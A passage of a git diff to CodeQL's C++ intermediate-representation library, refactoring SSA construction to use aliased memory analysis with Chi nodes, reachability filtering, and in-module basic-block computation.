exists(IRVariable var, IntValue i | + resultPointsTo(operand.getAddressOperand().getDefinitionInstruction(), var, i) + ) + then exists(IRVariable var, IntValue i, int size | + resultPointsTo(operand.getAddressOperand().getDefinitionInstruction(), var, i) and + result = getVariableMemoryAccess(var, i, size) and + size = operand.getDefinitionInstruction().getResultSize() + ) + else ( + result = TUnknownMemoryAccess(TUnknownVirtualVariable(operand.getInstruction().getFunctionIR())) and + not operand.getInstruction() instanceof UnmodeledUseInstruction + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/IRBlockConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/IRBlockConstruction.qll deleted file mode 100644 index 3d670b225da..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/IRBlockConstruction.qll +++ /dev/null @@ -1,38 +0,0 @@ -import SSAConstructionInternal -private import SSAConstruction as Construction -private import NewIR - -import Cached -private cached module Cached { - cached newtype TIRBlock = MkIRBlock(OldIR::IRBlock oldBlock) - - private OldIR::IRBlock getOldBlock(TIRBlock block) { - block = MkIRBlock(result) - } - - cached Instruction getInstruction(TIRBlock block, int index) { - Construction::getOldInstruction(result) = - getOldBlock(block).getInstruction(index) - } - - cached int getInstructionCount(TIRBlock block) { - result = getOldBlock(block).getInstructionCount() - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { - succ = MkIRBlock(getOldBlock(pred).getSuccessor(kind)) - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { - blockSuccessor(pred, succ, _) - } - - cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) { - getOldBlock(dominator).immediatelyDominates(getOldBlock(block)) - } - - cached Instruction getFirstInstruction(TIRBlock block) { - Construction::getOldInstruction(result) = - getOldBlock(block).getFirstInstruction() - } -} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/PrintAliasedSSA.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/PrintAliasedSSA.qll new file mode 100644 index 00000000000..d3889ad8d0e --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/PrintAliasedSSA.qll @@ -0,0 +1,12 @@ +private import semmle.code.cpp.ir.implementation.unaliased_ssa.IR +private import AliasedSSA + +/** + * Property provide that dumps the memory access of each result. Useful for debugging SSA + * construction. + */ +class PropertyProvider extends IRPropertyProvider { + override string getInstructionProperty(Instruction instruction, string key) { + key = "ResultMemoryAccess" and result = getResultMemoryAccess(instruction).toString() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll index 5dbf34cb6c3..88914e21c3a 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstruction.qll @@ -3,22 +3,29 @@ import cpp private import semmle.code.cpp.ir.implementation.Opcode private import semmle.code.cpp.ir.internal.OperandTag private import NewIR -import IRBlockConstruction as BlockConstruction + +private class OldBlock = Reachability::ReachableBlock; +private class OldInstruction = Reachability::ReachableInstruction; import Cached cached private module Cached { - private IRBlock getNewBlock(OldIR::IRBlock oldBlock) { + private IRBlock getNewBlock(OldBlock oldBlock) { result.getFirstInstruction() = getNewInstruction(oldBlock.getFirstInstruction()) } cached newtype TInstructionTag = - WrappedInstructionTag(OldIR::Instruction oldInstruction) { + WrappedInstructionTag(OldInstruction oldInstruction) { not oldInstruction instanceof OldIR::PhiInstruction } or - PhiTag(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + PhiTag(Alias::VirtualVariable vvar, OldBlock block) { hasPhiNode(vvar, block) - } + } or + ChiTag(OldInstruction oldInstruction) { + not oldInstruction instanceof OldIR::PhiInstruction and + hasChiNode(_, oldInstruction) + } or + UnreachedTag() cached class InstructionTagType extends TInstructionTag { cached final string toString() { @@ -32,20 +39,36 @@ cached private module Cached { ) } - cached OldIR::Instruction getOldInstruction(Instruction instr) { + cached OldInstruction getOldInstruction(Instruction instr) { instr.getTag() = WrappedInstructionTag(result) } - private Instruction getNewInstruction(OldIR::Instruction instr) { + private Instruction getNewInstruction(OldInstruction instr) { getOldInstruction(result) = instr } - private PhiInstruction getPhiInstruction(Function func, OldIR::IRBlock oldBlock, + /** + * Gets the chi node corresponding to `instr` if one is present, or the new `Instruction` + * corresponding to `instr` if there is no `Chi` node. + */ + private Instruction getNewFinalInstruction(OldInstruction instr) { + result = getChiInstruction(instr) + or + not exists(getChiInstruction(instr)) and + result = getNewInstruction(instr) + } + + private PhiInstruction getPhiInstruction(Function func, OldBlock oldBlock, Alias::VirtualVariable vvar) { result.getFunction() = func and result.getAST() = oldBlock.getFirstInstruction().getAST() and result.getTag() = PhiTag(vvar, oldBlock) } + + private ChiInstruction getChiInstruction (OldInstruction instr) { + hasChiNode(_, instr) and + result.getTag() = ChiTag(instr) + } private IRVariable getNewIRVariable(OldIR::IRVariable var) { result.getFunction() = var.getFunction() and @@ -72,8 +95,8 @@ cached private module Cached { } private predicate hasInstruction(Function func, Opcode opcode, Locatable ast, - InstructionTag tag, Type resultType, boolean isGLValue) { - exists(OldIR::Instruction instr | + InstructionTag tag, Type resultType, boolean isGLValue) { + exists(OldInstruction instr | instr.getFunction() = func and instr.getOpcode() = opcode and instr.getAST() = ast and @@ -84,7 +107,7 @@ cached private module Cached { else isGLValue = false ) or - exists(OldIR::IRBlock block, Alias::VirtualVariable vvar | + exists(OldBlock block, Alias::VirtualVariable vvar | hasPhiNode(vvar, block) and block.getFunction() = func and opcode instanceof Opcode::Phi and @@ -92,11 +115,29 @@ cached private module Cached { tag = PhiTag(vvar, block) and resultType = vvar.getType() and isGLValue = false + ) or + exists(OldInstruction instr, Alias::VirtualVariable vvar | + hasChiNode(vvar, instr) and + instr.getFunction() = func and + opcode instanceof Opcode::Chi and + ast = instr.getAST() and + tag = ChiTag(instr) and + resultType = vvar.getType() and + isGLValue = false + ) or + exists(OldInstruction oldInstruction | + func = oldInstruction.getFunction() and + Reachability::isInfeasibleInstructionSuccessor(oldInstruction, _) and + tag = UnreachedTag() and + opcode instanceof Opcode::Unreached and + ast = func and + resultType instanceof VoidType and + isGLValue = false ) } cached predicate hasTempVariable(Function func, Locatable ast, TempVariableTag tag, - Type type) { + Type type) { exists(OldIR::IRTempVariable var | var.getFunction() = func and var.getAST() = ast and @@ -107,36 +148,37 @@ cached private module Cached { cached predicate hasModeledMemoryResult(Instruction instruction) { exists(Alias::getResultMemoryAccess(getOldInstruction(instruction))) or - instruction instanceof PhiInstruction // Phis always have modeled results + instruction instanceof PhiInstruction or // Phis always have modeled results + instruction instanceof ChiInstruction // Chis always have modeled results } cached Instruction getInstructionOperandDefinition(Instruction instruction, OperandTag tag) { - exists(OldIR::Instruction oldInstruction, OldIR::NonPhiOperand oldOperand | + exists(OldInstruction oldInstruction, OldIR::NonPhiOperand oldOperand | oldInstruction = getOldInstruction(instruction) and oldOperand = oldInstruction.getAnOperand() and tag = oldOperand.getOperandTag() and if oldOperand instanceof OldIR::MemoryOperand then ( ( if exists(Alias::getOperandMemoryAccess(oldOperand)) then ( - exists(OldIR::IRBlock useBlock, int useRank, Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, int defIndex | + exists(OldBlock useBlock, int useRank, Alias::VirtualVariable vvar, + OldBlock defBlock, int defRank, int defIndex | vvar = Alias::getOperandMemoryAccess(oldOperand).getVirtualVariable() and hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and hasUseAtRank(vvar, useBlock, useRank, oldInstruction) and definitionReachesUse(vvar, defBlock, defRank, useBlock, useRank) and if defIndex >= 0 then - result = getNewInstruction(defBlock.getInstruction(defIndex)) + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) else - result = getPhiInstruction(instruction.getFunction(), defBlock, vvar) + result = getPhiInstruction(instruction.getFunction(), defBlock, vvar) ) - ) + ) else ( result = instruction.getFunctionIR().getUnmodeledDefinitionInstruction() ) ) or // Connect any definitions that are not being modeled in SSA to the // `UnmodeledUse` instruction. - exists(OldIR::Instruction oldDefinition | + exists(OldInstruction oldDefinition | instruction instanceof UnmodeledUseInstruction and tag instanceof UnmodeledUseOperandTag and oldDefinition = oldOperand.getDefinitionInstruction() and @@ -146,28 +188,53 @@ cached private module Cached { ) else result = getNewInstruction(oldOperand.getDefinitionInstruction()) - ) + ) or + instruction.getTag() = ChiTag(getOldInstruction(result)) and + tag instanceof ChiPartialOperandTag + or + instruction instanceof UnmodeledUseInstruction and + tag instanceof UnmodeledUseOperandTag and + result instanceof UnmodeledDefinitionInstruction and + instruction.getFunction() = result.getFunction() + or + tag instanceof ChiTotalOperandTag and + result = getChiInstructionTotalOperand(instruction) } cached Instruction getPhiInstructionOperandDefinition(PhiInstruction instr, IRBlock newPredecessorBlock) { - exists(Alias::VirtualVariable vvar, OldIR::IRBlock phiBlock, - OldIR::IRBlock defBlock, int defRank, int defIndex, OldIR::IRBlock predBlock | + exists(Alias::VirtualVariable vvar, OldBlock phiBlock, + OldBlock defBlock, int defRank, int defIndex, OldBlock predBlock | hasPhiNode(vvar, phiBlock) and - predBlock = phiBlock.getAPredecessor() and + predBlock = phiBlock.getAFeasiblePredecessor() and instr.getTag() = PhiTag(vvar, phiBlock) and newPredecessorBlock = getNewBlock(predBlock) and hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and definitionReachesEndOfBlock(vvar, defBlock, defRank, predBlock) and if defIndex >= 0 then - result = getNewInstruction(defBlock.getInstruction(defIndex)) + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) else result = getPhiInstruction(instr.getFunction(), defBlock, vvar) ) } + cached Instruction getChiInstructionTotalOperand(ChiInstruction chiInstr) { + exists(Alias::VirtualVariable vvar, OldInstruction oldInstr, OldBlock defBlock, + int defRank, int defIndex, OldBlock useBlock, int useRank | + ChiTag(oldInstr) = chiInstr.getTag() and + vvar = Alias::getResultMemoryAccess(oldInstr).getVirtualVariable() and + hasDefinitionAtRank(vvar, defBlock, defRank, defIndex) and + hasUseAtRank(vvar, useBlock, useRank, oldInstr) and + definitionReachesUse(vvar, defBlock, defRank, useBlock, useRank) and + if defIndex >= 0 then + result = getNewFinalInstruction(defBlock.getInstruction(defIndex)) + else + result = getPhiInstruction(chiInstr.getFunction(), defBlock, vvar) + ) + } + cached Instruction getPhiInstructionBlockStart(PhiInstruction instr) { - exists(OldIR::IRBlock oldBlock | + exists(OldBlock oldBlock | instr.getTag() = PhiTag(_, oldBlock) and result = getNewInstruction(oldBlock.getFirstInstruction()) ) @@ -181,8 +248,34 @@ cached private module Cached { result = getOldInstruction(instruction).getUnconvertedResultExpression() } + /* + * This adds Chi nodes to the instruction successor relation; if an instruction has a Chi node, + * that node is its successor in the new successor relation, and the Chi node's successors are + * the new instructions generated from the successors of the old instruction + */ cached Instruction getInstructionSuccessor(Instruction instruction, EdgeKind kind) { - result = getNewInstruction(getOldInstruction(instruction).getSuccessor(kind)) + if(hasChiNode(_, getOldInstruction(instruction))) + then + result = getChiInstruction(getOldInstruction(instruction)) and + kind instanceof GotoEdge + else ( + exists(OldInstruction oldInstruction | + oldInstruction = getOldInstruction(instruction) and + ( + if Reachability::isInfeasibleInstructionSuccessor(oldInstruction, kind) then ( + result.getTag() = UnreachedTag() and + result.getFunction() = instruction.getFunction() + ) + else ( + result = getNewInstruction(oldInstruction.getSuccessor(kind)) + ) + ) + ) or + exists(OldInstruction oldInstruction | + instruction = getChiInstruction(oldInstruction) and + result = getNewInstruction(oldInstruction.getSuccessor(kind)) + ) + ) } cached IRVariable getInstructionVariable(Instruction instruction) { @@ -228,38 +321,59 @@ cached private module Cached { ) } + cached Instruction getPrimaryInstructionForSideEffect(Instruction instruction) { + exists(OldIR::SideEffectInstruction oldInstruction | + oldInstruction = getOldInstruction(instruction) and + result = getNewInstruction(oldInstruction.getPrimaryInstruction()) + ) + or + exists(OldIR::Instruction oldInstruction | + instruction.getTag() = ChiTag(oldInstruction) and + result = getNewInstruction(oldInstruction) + ) + } + private predicate ssa_variableUpdate(Alias::VirtualVariable vvar, - OldIR::Instruction instr, OldIR::IRBlock block, int index) { + OldInstruction instr, OldBlock block, int index) { block.getInstruction(index) = instr and Alias::getResultMemoryAccess(instr).getVirtualVariable() = vvar } - private predicate hasDefinition(Alias::VirtualVariable vvar, OldIR::IRBlock block, int index) { + private predicate hasDefinition(Alias::VirtualVariable vvar, OldBlock block, int index) { ( hasPhiNode(vvar, block) and index = -1 ) or - exists(Alias::MemoryAccess access, OldIR::Instruction def | + exists(Alias::MemoryAccess access, OldInstruction def | access = Alias::getResultMemoryAccess(def) and block.getInstruction(index) = def and vvar = access.getVirtualVariable() ) } - private predicate defUseRank(Alias::VirtualVariable vvar, OldIR::IRBlock block, int rankIndex, int index) { + private predicate defUseRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, int index) { index = rank[rankIndex](int j | hasDefinition(vvar, block, j) or hasUse(vvar, _, block, j)) } - private predicate hasUse(Alias::VirtualVariable vvar, - OldIR::Instruction use, OldIR::IRBlock block, int index) { + private predicate hasUse(Alias::VirtualVariable vvar, OldInstruction use, OldBlock block, + int index) { exists(Alias::MemoryAccess access | - access = Alias::getOperandMemoryAccess(use.getAnOperand()) and + ( + access = Alias::getOperandMemoryAccess(use.getAnOperand()) + or + /* + * a partial write to a virtual variable is going to generate a use of that variable when + * Chi nodes are inserted, so we need to mark it as a use in the old IR + */ + access = Alias::getResultMemoryAccess(use) and + access.isPartialMemoryAccess() + ) and block.getInstruction(index) = use and vvar = access.getVirtualVariable() ) } - private predicate variableLiveOnEntryToBlock(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + private predicate variableLiveOnEntryToBlock(Alias::VirtualVariable vvar, OldBlock block) { exists (int index | hasUse(vvar, _, block, index) | not exists (int j | ssa_variableUpdate(vvar, _, block, j) | j < index) ) or @@ -267,8 +381,8 @@ cached private module Cached { } pragma[noinline] - private predicate variableLiveOnExitFromBlock(Alias::VirtualVariable vvar, OldIR::IRBlock block) { - variableLiveOnEntryToBlock(vvar, block.getASuccessor()) + private predicate variableLiveOnExitFromBlock(Alias::VirtualVariable vvar, OldBlock block) { + variableLiveOnEntryToBlock(vvar, block.getAFeasibleSuccessor()) } /** @@ -277,18 +391,18 @@ cached private module Cached { * end of the block, even if the definition is the last instruction in the * block. */ - private int exitRank(Alias::VirtualVariable vvar, OldIR::IRBlock block) { + private int exitRank(Alias::VirtualVariable vvar, OldBlock block) { result = max(int rankIndex | defUseRank(vvar, block, rankIndex, _)) + 1 } - private predicate hasDefinitionAtRank(Alias::VirtualVariable vvar, - OldIR::IRBlock block, int rankIndex, int instructionIndex) { + private predicate hasDefinitionAtRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, + int instructionIndex) { hasDefinition(vvar, block, instructionIndex) and defUseRank(vvar, block, rankIndex, instructionIndex) } - private predicate hasUseAtRank(Alias::VirtualVariable vvar, OldIR::IRBlock block, - int rankIndex, OldIR::Instruction use) { + private predicate hasUseAtRank(Alias::VirtualVariable vvar, OldBlock block, int rankIndex, + OldInstruction use) { exists(int index | hasUse(vvar, use, block, index) and defUseRank(vvar, block, rankIndex, index) @@ -299,8 +413,8 @@ cached private module Cached { * Holds if the definition of `vvar` at `(block, defRank)` reaches the rank * index `reachesRank` in block `block`. */ - private predicate definitionReachesRank(Alias::VirtualVariable vvar, - OldIR::IRBlock block, int defRank, int reachesRank) { + private predicate definitionReachesRank(Alias::VirtualVariable vvar, OldBlock block, int defRank, + int reachesRank) { hasDefinitionAtRank(vvar, block, defRank, _) and reachesRank <= exitRank(vvar, block) and // Without this, the predicate would be infinite. ( @@ -320,8 +434,8 @@ cached private module Cached { * Holds if the definition of `vvar` at `(defBlock, defRank)` reaches the end of * block `block`. */ - private predicate definitionReachesEndOfBlock(Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, OldIR::IRBlock block) { + private predicate definitionReachesEndOfBlock(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock block) { hasDefinitionAtRank(vvar, defBlock, defRank, _) and ( ( @@ -331,7 +445,7 @@ cached private module Cached { variableLiveOnExitFromBlock(vvar, defBlock) and definitionReachesRank(vvar, defBlock, defRank, exitRank(vvar, defBlock)) ) or - exists(OldIR::IRBlock idom | + exists(OldBlock idom | definitionReachesEndOfBlock(vvar, defBlock, defRank, idom) and noDefinitionsSinceIDominator(vvar, idom, block) ) @@ -339,51 +453,56 @@ cached private module Cached { } pragma[noinline] - private predicate noDefinitionsSinceIDominator(Alias::VirtualVariable vvar, - OldIR::IRBlock idom, OldIR::IRBlock block) { - idom.immediatelyDominates(block) and // It is sufficient to traverse the dominator graph, cf. discussion above. + private predicate noDefinitionsSinceIDominator(Alias::VirtualVariable vvar, OldBlock idom, + OldBlock block) { + Dominance::blockImmediatelyDominates(idom, block) and // It is sufficient to traverse the dominator graph, cf. discussion above. variableLiveOnExitFromBlock(vvar, block) and not hasDefinition(vvar, block, _) } - private predicate definitionReachesUseWithinBlock( - Alias::VirtualVariable vvar, OldIR::IRBlock defBlock, int defRank, - OldIR::IRBlock useBlock, int useRank) { + private predicate definitionReachesUseWithinBlock(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock useBlock, int useRank) { defBlock = useBlock and hasDefinitionAtRank(vvar, defBlock, defRank, _) and hasUseAtRank(vvar, useBlock, useRank, _) and definitionReachesRank(vvar, defBlock, defRank, useRank) } - private predicate definitionReachesUse(Alias::VirtualVariable vvar, - OldIR::IRBlock defBlock, int defRank, OldIR::IRBlock useBlock, int useRank) { + private predicate definitionReachesUse(Alias::VirtualVariable vvar, OldBlock defBlock, + int defRank, OldBlock useBlock, int useRank) { hasUseAtRank(vvar, useBlock, useRank, _) and ( definitionReachesUseWithinBlock(vvar, defBlock, defRank, useBlock, useRank) or ( definitionReachesEndOfBlock(vvar, defBlock, defRank, - useBlock.getAPredecessor()) and + useBlock.getAFeasiblePredecessor()) and not definitionReachesUseWithinBlock(vvar, useBlock, _, useBlock, useRank) ) ) } - private predicate hasFrontierPhiNode(Alias::VirtualVariable vvar, - OldIR::IRBlock phiBlock) { - exists(OldIR::IRBlock defBlock | - phiBlock = defBlock.dominanceFrontier() and + private predicate hasFrontierPhiNode(Alias::VirtualVariable vvar, OldBlock phiBlock) { + exists(OldBlock defBlock | + phiBlock = Dominance::getDominanceFrontier(defBlock) and hasDefinition(vvar, defBlock, _) and /* We can also eliminate those nodes where the variable is not live on any incoming edge */ variableLiveOnEntryToBlock(vvar, phiBlock) ) } - private predicate hasPhiNode(Alias::VirtualVariable vvar, - OldIR::IRBlock phiBlock) { + private predicate hasPhiNode(Alias::VirtualVariable vvar, OldBlock phiBlock) { hasFrontierPhiNode(vvar, phiBlock) //or ssa_sanitized_custom_phi_node(vvar, block) } + + private predicate hasChiNode(Alias::VirtualVariable vvar, OldInstruction def) { + exists(Alias::MemoryAccess ma | + ma = Alias::getResultMemoryAccess(def) and + ma.isPartialMemoryAccess() and + ma.getVirtualVariable() = vvar + ) + } } import CachedForDebugging @@ -393,13 +512,17 @@ cached private module CachedForDebugging { } cached string getInstructionUniqueId(Instruction instr) { - exists(OldIR::Instruction oldInstr | + exists(OldInstruction oldInstr | oldInstr = getOldInstruction(instr) and result = "NonSSA: " + oldInstr.getUniqueId() ) or - exists(Alias::VirtualVariable vvar, OldIR::IRBlock phiBlock | + exists(Alias::VirtualVariable vvar, OldBlock phiBlock | instr.getTag() = PhiTag(vvar, phiBlock) and result = "Phi Block(" + phiBlock.getUniqueId() + "): " + vvar.getUniqueId() + ) or + ( + instr.getTag() = UnreachedTag() and + result = "Unreached" ) } diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstructionInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstructionInternal.qll index 8caf1ce0616..5eebc0b9516 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstructionInternal.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConstructionInternal.qll @@ -1,3 +1,5 @@ import semmle.code.cpp.ir.implementation.unaliased_ssa.IR as OldIR +import semmle.code.cpp.ir.implementation.unaliased_ssa.internal.reachability.ReachableBlock as Reachability +import semmle.code.cpp.ir.implementation.unaliased_ssa.internal.reachability.Dominance as Dominance import semmle.code.cpp.ir.implementation.aliased_ssa.IR as NewIR -import SimpleSSA as Alias +import AliasedSSA as Alias diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSA.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSA.qll deleted file mode 100644 index fdf596267a9..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSA.qll +++ /dev/null @@ -1,84 +0,0 @@ -import SimpleSSAInternal -import cpp -import Alias -private import InputIR -private import semmle.code.cpp.ir.internal.OperandTag -private import semmle.code.cpp.ir.internal.Overlap - -private newtype TVirtualVariable = - MkVirtualVariable(IRVariable var) { - not variableAddressEscapes(var) - } - -private VirtualVariable getVirtualVariable(IRVariable var) { - result.getIRVariable() = var -} - -class VirtualVariable extends TVirtualVariable { - IRVariable var; - - VirtualVariable() { - this = MkVirtualVariable(var) - } - - final string toString() { - result = var.toString() - } - - final IRVariable getIRVariable() { - result = var - } - - // REVIEW: This should just be on MemoryAccess - final Type getType() { - result = var.getType() - } - - final string getUniqueId() { - result = var.getUniqueId() - } -} - -private newtype TMemoryAccess = - MkMemoryAccess(VirtualVariable vvar) - -private MemoryAccess getMemoryAccess(IRVariable var) { - result.getVirtualVariable() = getVirtualVariable(var) -} - -class MemoryAccess extends TMemoryAccess { - VirtualVariable vvar; - - MemoryAccess() { - this = MkMemoryAccess(vvar) - } - - string toString() { - result = vvar.toString() - } - - VirtualVariable getVirtualVariable() { - result = vvar - } -} - -Overlap getOverlap(MemoryAccess def, MemoryAccess use) { - def.getVirtualVariable() = use.getVirtualVariable() and - result instanceof MustExactlyOverlap -} - -MemoryAccess getResultMemoryAccess(Instruction instr) { - exists(IRVariable var | - instr.getResultMemoryAccess() instanceof IndirectMemoryAccess and - resultPointsTo(instr.getAnOperand().(AddressOperand).getDefinitionInstruction(), - var, 0) and - result = getMemoryAccess(var) - ) -} - -MemoryAccess getOperandMemoryAccess(Operand operand) { - exists(IRVariable var | - resultPointsTo(operand.getAddressOperand().getDefinitionInstruction(), var, 0) and - result = getMemoryAccess(var) - ) -} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSAInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSAInternal.qll deleted file mode 100644 index 5322ea0ef0b..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/SimpleSSAInternal.qll +++ /dev/null @@ -1,3 +0,0 @@ -import AliasAnalysis as Alias -import semmle.code.cpp.ir.implementation.unaliased_ssa.IR as InputIR - diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll index c51b05a073b..f94fad4f527 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/IRBlock.qll @@ -1,9 +1,20 @@ private import internal.IRInternal import Instruction import semmle.code.cpp.ir.implementation.EdgeKind -private import Construction::BlockConstruction +private import Cached -class IRBlock extends TIRBlock { +/** + * A basic block in the IR. A basic block consists of a sequence of `Instructions` with the only + * incoming edges at the beginning of the sequence and the only outgoing edges at the end of the + * sequence. + * + * This class does not contain any members that query the predecessor or successor edges of the + * block. This allows different classes that extend `IRBlockBase` to expose different subsets of + * edges (e.g. ignoring unreachable edges). + * + * Most consumers should use the class `IRBlock`. + */ +class IRBlockBase extends TIRBlock { final string toString() { result = getFirstInstruction(this).toString() } @@ -59,7 +70,14 @@ class IRBlock extends TIRBlock { final Function getFunction() { result = getFirstInstruction(this).getFunction() } +} +/** + * A basic block with additional information about its predecessor and successor edges. Each edge + * corresponds to the control flow between the last instruction of one block and the first + * instruction of another block. + */ +class IRBlock extends IRBlockBase { final IRBlock getASuccessor() { blockSuccessor(this, result) } @@ -98,3 +116,82 @@ class IRBlock extends TIRBlock { getAPredecessor().isReachableFromFunctionEntry() } } + +private predicate startsBasicBlock(Instruction instr) { + not instr instanceof PhiInstruction and + ( + count(Instruction predecessor | + instr = predecessor.getASuccessor() + ) != 1 or // Multiple predecessors or no predecessor + exists(Instruction predecessor | + instr = predecessor.getASuccessor() and + strictcount(Instruction other | + other = predecessor.getASuccessor() + ) > 1 + ) or // Predecessor has multiple successors + exists(Instruction predecessor, EdgeKind kind | + instr = predecessor.getSuccessor(kind) and + not kind instanceof GotoEdge + ) // Incoming edge is not a GotoEdge + ) +} + +private predicate isEntryBlock(TIRBlock block) { + block = MkIRBlock(any(EnterFunctionInstruction enter)) +} + +private cached module Cached { + cached newtype TIRBlock = + MkIRBlock(Instruction firstInstr) { + startsBasicBlock(firstInstr) + } + + /** Holds if `i2` follows `i1` in a `IRBlock`. */ + private predicate adjacentInBlock(Instruction i1, Instruction i2) { + exists(GotoEdge edgeKind | i2 = i1.getSuccessor(edgeKind)) and + not startsBasicBlock(i2) + } + + /** Gets the index of `i` in its `IRBlock`. */ + private int getMemberIndex(Instruction i) { + startsBasicBlock(i) and + result = 0 + or + exists(Instruction iPrev | + adjacentInBlock(iPrev, i) and + result = getMemberIndex(iPrev) + 1 + ) + } + + /** Holds if `i` is the `index`th instruction in `block`. */ + cached Instruction getInstruction(TIRBlock block, int index) { + exists(Instruction first | + block = MkIRBlock(first) and + index = getMemberIndex(result) and + adjacentInBlock*(first, result) + ) + } + + cached int getInstructionCount(TIRBlock block) { + result = strictcount(getInstruction(block, _)) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { + exists(Instruction predLast, Instruction succFirst | + predLast = getInstruction(pred, getInstructionCount(pred) - 1) and + succFirst = predLast.getSuccessor(kind) and + succ = MkIRBlock(succFirst) + ) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { + blockSuccessor(pred, succ, _) + } + + cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) = + idominance(isEntryBlock/1, blockSuccessor/2)(_, dominator, block) +} + +Instruction getFirstInstruction(TIRBlock block) { + block = MkIRBlock(result) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll index 99255b8ffa5..d956421a268 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Instruction.qll @@ -33,11 +33,18 @@ module InstructionSanity { ) or opcode instanceof CopyOpcode and tag instanceof CopySourceOperandTag or opcode instanceof MemoryAccessOpcode and tag instanceof AddressOperandTag or + opcode instanceof BufferAccessOpcode and tag instanceof BufferSizeOperand or opcode instanceof OpcodeWithCondition and tag instanceof ConditionOperandTag or opcode instanceof Opcode::ReturnValue and tag instanceof ReturnValueOperandTag or opcode instanceof Opcode::ThrowValue and tag instanceof ExceptionOperandTag or opcode instanceof Opcode::UnmodeledUse and tag instanceof UnmodeledUseOperandTag or - opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag + opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiTotalOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiPartialOperandTag or + ( + (opcode instanceof ReadSideEffectOpcode or opcode instanceof MayWriteSideEffectOpcode) and + tag instanceof SideEffectOperandTag + ) ) ) } @@ -95,7 +102,8 @@ module InstructionSanity { not exists(instr.getASuccessor()) and not instr instanceof ExitFunctionInstruction and // Phi instructions aren't linked into the instruction-level flow graph. - not instr instanceof PhiInstruction + not instr instanceof PhiInstruction and + not instr instanceof UnreachedInstruction } /** @@ -162,9 +170,9 @@ class Instruction extends Construction::TInstruction { */ final string getOperationString() { if exists(getImmediateString()) then - result = opcode.toString() + "[" + getImmediateString() + "]" + result = getOperationPrefix() + opcode.toString() + "[" + getImmediateString() + "]" else - result = opcode.toString() + result = getOperationPrefix() + opcode.toString() } /** @@ -174,6 +182,13 @@ class Instruction extends Construction::TInstruction { none() } + private string getOperationPrefix() { + if this instanceof SideEffectInstruction then + result = "^" + else + result = "" + } + private string getResultPrefix() { if resultType instanceof VoidType then result = "v" @@ -437,8 +452,7 @@ class Instruction extends Construction::TInstruction { final predicate isResultModeled() { // Register results are always in SSA form. not hasMemoryResult() or - // An unmodeled result will have a use on the `UnmodeledUse` instruction. - not (getAUse() instanceof UnmodeledUseOperand) + Construction::hasModeledMemoryResult(this) } /** @@ -581,7 +595,7 @@ class FieldAddressInstruction extends FieldInstruction { } } -class UninitializedInstruction extends Instruction { +class UninitializedInstruction extends VariableInstruction { UninitializedInstruction() { opcode instanceof Opcode::Uninitialized } @@ -589,6 +603,13 @@ class UninitializedInstruction extends Instruction { override final MemoryAccessKind getResultMemoryAccess() { result instanceof IndirectMemoryAccess } + + /** + * Gets the `LocalVariable` that is uninitialized. + */ + final LocalVariable 